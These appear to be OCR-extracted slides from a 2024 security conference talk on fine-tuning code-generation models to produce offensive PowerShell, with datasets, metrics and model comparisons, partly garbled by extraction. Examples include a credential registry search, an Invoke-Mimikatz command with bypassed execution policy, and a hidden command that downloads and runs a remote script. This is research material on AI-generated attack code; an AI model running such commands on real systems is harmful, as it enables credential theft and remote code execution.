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Advanced Persistent Threats

Cyber-attacks have been growing in numbers over the last decade around the world and
become more sophisticated, stealthy, multi-vector, and multi-stage.

In this scenario, Advanced Persistent Threats (APTs) represent the most dangerous
threat actor.

Complaints and Losses over the Last Five Years'

2022 $6.9 Billion

847,376

2021 $4.2 Billion

791,790

2020 $3.5 Billion

467,361

$2.7 Billion
351,937 mlLosses

= Complaints

2019

|

2018 $1.4 Billion

1

301,580

' Data extracted from the
FBI Internet Crime Report 2022

18t USENIX WOOT Conference on Offensive Technologies, 12-13t August 2024 vittorio.orbinato@unina.it 2



DESSERT

Offensive Security

Offensive security practices, such as red teaming and adversary emulation, play a crucial
role in understanding how attackers operate and how to mitigate attacks.
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LLMs for Security

d LLMs can assist security analysts at writing custom software.
a NMT (Neural Machine Translation): generates code from natural language.

import optparse

import socket

from socket import *

def connScan(tgtHost, tgtPort):

try:

connSkt = socket(AF_INET, SOCK_STREAM)
connSkt.connect((tgtHost, tgtPort))
connSkt.send('ViolentPython\r\n')
results = connSkt.recv(100)
print '[+]%d/tcp open'% tgtPort
print '"[+] ' 4+ str(results)

“Create a socket, connect

to tgtHost on tgtPort, send the
message ’ViolentPython’,
receive the response in result”

connSkt.close()

except:
print '[-]%d/tcp closed'% tgtPort
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Offensive PowerShell code generation

The PowerShell language is a key tool for cybersecurity in Windows systems.

We investigate NMT models to translate natural language (NL) descriptions into PowerShell
code that implements APT behavior.

Top techniques detected in 20231

33,00%

23,00%

13,00%

T1059.001 T1027 Obfuscated T1105 Ingress Tool T1055 Process
Command and Files or Information Transfer Injection
Scripting Interpreter:
PowerShell https://www.splunk.com/en_us/blog/security/revisiting-the-big-picture-macro-level-att-ck-

updates-for-2023.html
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Methodology

Al-based Code Generation

We analyze different & & &

Stl‘ategies fOf data CodeT5+ CodeGPT CodeGen
collection and training: |
Data Collection Pre-training
.. 5
O Pre-training » w}
d Fine-tuning Github
Pre-training
Dataset 1
Multlple_quantltatlve Pro-rained
evaluations: Capability ;!
Data Collection Fine-tuning Assessment Output
g Similarity
0 Output similarity 9o szf;, = w f(r?\‘ Static il
evaluation Re‘é}am Datasetg s 3 Analysts Sy:itic
O Syntactic evaluation Empire _ Oniine ]‘ PowerShell Evaluation
O Execution evaluation L) anelyels.
NL Intents IIEE‘)’(aeI(l:jt;ttiizrr\‘
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Pre-training

4 $timestamp = Get-Date -Format s | ForEach-Object { $_ -replace ":", "." }
5 Import-Module ActiveDirectory
6
We bUIIt a dataset Of unlabelec’ 7 $DomainController = Get-ADDomainController| Select-Object Name
. 8 $SearchBase = Read-Host "Enter searchbase (e.g.- OU=Servers,DC=Domain,DC=1local)"
PowerShe" COde, to pre-tra|n 9 $ServerList = Get-ADComputer -Filter 'operatingsystem -like "xserverx" -and enabled -eq "true"' -SearchBase $SearchBase |
. 10
LLMs with: 11 $Array = @()
12 foreach($ServerObject in $ServerList){
D Masked Language Modellng 13 $colltems = Invoke—Command —ComputerName $ServerObject.Name -scriptblock {Get-ChildItem -Path Cert:\LocalMachine -Recurse
14
(M LM) 15 foreach ($Server in $colItems){
16 $Array += New-Object PsObject -Property ([ordered]@{
1 17 'Server' = $ServerObject.DnsHostName
D Causal Language MOdeIIng 18 'FriendlyName' = $Server.FriendlyName
(CLM) 19 'Issuer' = $Server.Issuer
20 'NotAfter' = $Server.NotAfter
241 'NotBefore' = $Server.NotBefore
~90k Samples Of general- 22 'SerialNumber' = $Server.SerialNumber
H 1 1 23 'Thumbprint' = $Server.Thumbprint
purpose Scrlpts (nOt Ilmlted to 24 'DnsNameList' = $Server.DnsNamelList
1 1 25 'Subject' = $Server.Subject
SeCU”ty) from GItHUb 26 'PSPath' = $Server.PSPath
27 'Version' = $Server.Version})
28 }
29 }
30 $Array | export-csv C:\Temp\Certificate_Report_s$timestamp.csv -NoTypeInformation
31 Write-Host "Export available at C:\Temp\Certificate_Report_$timestamp.csv" —ForegroundColor Cyan
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Fine-tuning

For fine-tuning, we developed another

: - 3 — id: 3aad5312-d48b-4206-9de4-39866c12e60f

dataset with offensive PowerShell code. , Sl S —
5 description: Search for possible credentials stored in Registry

Each Sample includes a pair: 6 tactic: credential-access

Q natural language description ("intent") ; tec::”‘:e’_d e om0

. attack_id: ;

4 correspondlng PowerShe" COde 9 name: "Unsecured Credentials: Credentials in Registry"
10 platforms:

Data from offensive security tools E Wi”dﬁws‘

. . . psh:
(Atorruc Red Team, Stockpile, Empire) gnd & -
pUbllc kﬂOWlEdge bases (e.g., HﬁthfleS) 14 reg query HKCU /f password /t REG_SZ /s
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Fine-tuning - dataset

Number of dataset entries

Impact 1 12
Exfiltration 7 10
Command and Control /7 38
Collection ] 32
Lateral Movement """ 96

Discovery | 205

Credential Access ] 163

Defense Evasion ] 430

Privilege Escalation T/ 37
Persistence /] 42
Execution 0
Initial Access ] 4
Resource Development 0

Reconnaissance ] 5

0 50 100 150 200 250 300 350 400 450 500

18t" USENIX WOOT Conference on Offensive Technologies, 12-13t August 2024 vittorio.orbinato@unina.it



Output Similarity

Output similarity compares token-by-token the
generated code with the code from the ground

truth. rONEEL
Specifically, we selected:

METEOR
O Bilingual Evaluation Understudy (BLEU)
O Edit Distance (ED)
O METEOR ED
O ROUGE-L
For context (state-of-the-art code generation): —

BLEU-4 = 21% and METEOR = 38% for Python
BLEU-4 = 25% and ED = 44% for UNIX shell code

0,00%

DESSERT

| 35,45%

| 38,06%

| 38,86%

| 44,14%

| 45,45%

| 47,87%

| 48,67%

| 49,20%

| 50,23%

| 18,53%

| 19,94%

118,50%

10,00% 20,00% 30,00%

oCodeGen oOCodeGPT

40,00% 50,00% 60,00%

oCodeT5+
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[llustrative Examples

DESSERT /

NL Intent Ground Truth Model Output

Invoke compiled HTML Help Invoke-ATHCompiledHelp Invoke-ATHCompiledHTMLHelp
(CHM) file with specific storage -InfoTechStorageHandler -InfoTechStorageHandler $-{
handler, HH file path, and CHM file $ { infotech_storage_handler } Heeresn—storage—gendle
path. -HHFilePath $ { hh_file_path } - -HHFilePath $ { hh_file_path }
CHMFilePath $ { chm_file_path } -CHMFilePath $ { chm_file_path }
Invoke-Mimikatz cmdlet with powershell.exe -exec bypass -c powershell.exe -ExecutionPolicy
bypassed execution policy. " Invoke-Mimikatz " Bypass -Command " Invoke-
Mimikatz "
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Syntactic Analysis

We evaluated the adherence to PowerShell
syntax and compliance with common

PowerShell conventions. g
o] You must provide a value expression]

i Lfollowing the ‘=* operator

.)- ! F
$testing = ;Get-Childitem” —bg The string ismissingmeterminator:".]

PSScript
Analyzer

We adopt static analyzers to identify
Warnings and Parse Errors.

The variable ‘testing’ is assigned but
never used.
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Syntactic Analysis - results

i;j‘ 0 Statlc Analysis
For this purpose, we leveraged two metrics: i Piuaiiad G%
models commands
O Single Syntax Accuracy: the percentage of B P}ss@ﬂm _’s,m
outputs without parse errors. T"’is"" Anps Baluaton
O Comparative  Syntax Accuracy. the Reference
percentage of outputs that do not deviate 100,0% 5533758 35 o5 55955 357
from conventions of the best practices. 9,0%
96,0%
94,0%
92,04%
92,0% 91,15%
90,0%
88,0%
86,0%
Single Accuracy Comparative Accuracy

omCodeT5+ oOCodeGPT oDCodeGen
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Execution Analysis

The execution analysis evaluates the generated code at run-time.

We analyze the behavior in terms of events occurring in the system.

E;_}. w a Execution Analysis

NL Intents  Pre-trained Generated Windows 10 VM

models commands =

Sysmon

—

Event Execution
Filtering Evaluation

Security
Tools

v

Reference
commands
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Execution Analysis - results

We compared the generated events using an F1-score-like measure. We conducted the analysis using
a sample of 35 entries.

powershell.exe -ExecutionPolicy Bypass -NoLogo tive -NoProfile -Wind le Hidden EX E C- F 1
@ "IEX (Invol |

-Uri 'https://raw.githubusercontent.com//Powershell-
Scripts-for-Hackers-and-Pentesters/main/scripts/all_in_one_enum.ps1').Content"Whitecat18
88,5%
o 88,42%
powershell.exe -NoP -Nonl -W Hidden -Exec Bypass -Command "Invoke-WebRequest , °

https://raw.githubusercontent.com/Whitecat18/Powershell-Scripts-for-Hackers-and- j

Pentesters/main/scripts/all_in_one_enum.ps1 -OutFile hello.ps1; \hello.ps1"

, : 88,4%

88,35%
88,4%

Ground truth 188 145 151 Generated commands 88,3%

88,3°/o 88,240/0

pwsh.exe>C:\Windows\System32\ntdlL.dll pwsh.exe>C:\Windows\System32\ntdll.dll
pwsh.exe>C:\Windows\System32\gdi32full.dll pwsh.exe>C:\Windows\System32\gdi32full.dll °
88,2%
powershell.exe>C:\Windows\System32\sxs.dll pwsh.exe>C:\Program 88 20/0
Files\PowerShell\7\System.Reflection.Metadata.dll ’
powershell.exe>C:\Windows\System32\umpdc.dll pwsh.exe>C:\Program Co de I 5+ Co deG P I CO deG e n
Files\PowerShell\7\System.Collections.Immutable.dll
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Comparison with ChatGPT

We compared the results obtained by the NMT models with ChatGPT 3.5, a widely-
used model, not specifically designed for generating offensive code.

0,6 1

0,98 0,98
0,96
o 0,500,50 4 048
’ 0,450 44 0,95 oA L
0,390,39 0,91
0.4 0,35
_ 0.9 Al 0,88 0,88 088
03
0,22 S 1
’ 085 0.83
02
0.8 ¥ il
0.1
0 ' 0,75
METEOR ROUGE-L SYNTAX ACC. EXEC-F1

0CodeT5+ ©CodeGPT mCodeGen @ChatGPT3.5 0CodeT5+ 0OCodeGPT ©CodeGen @ChatGPT3.5
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Conclusions

d Al-based code generators are indeed fit to generate offensive PowerShell
code, achieving significant performance on this task, for all types of
evaluation.

O Domain-specific fine-tuning allows NMT models to outperform state-of-the-art
privately fine-tuned models, i.e., ChatGPT.

O Future work includes further analysis of the generated code, such as sandbox
execution of the offensive scripts, to understand whether the code can evade
detection measures, and generation of complete attack flows.

18t USENIX WOOT Conference on Offensive Technologies, 12-13t August 2024 vittorio.orbinato@unina.it 17



Thank youl!
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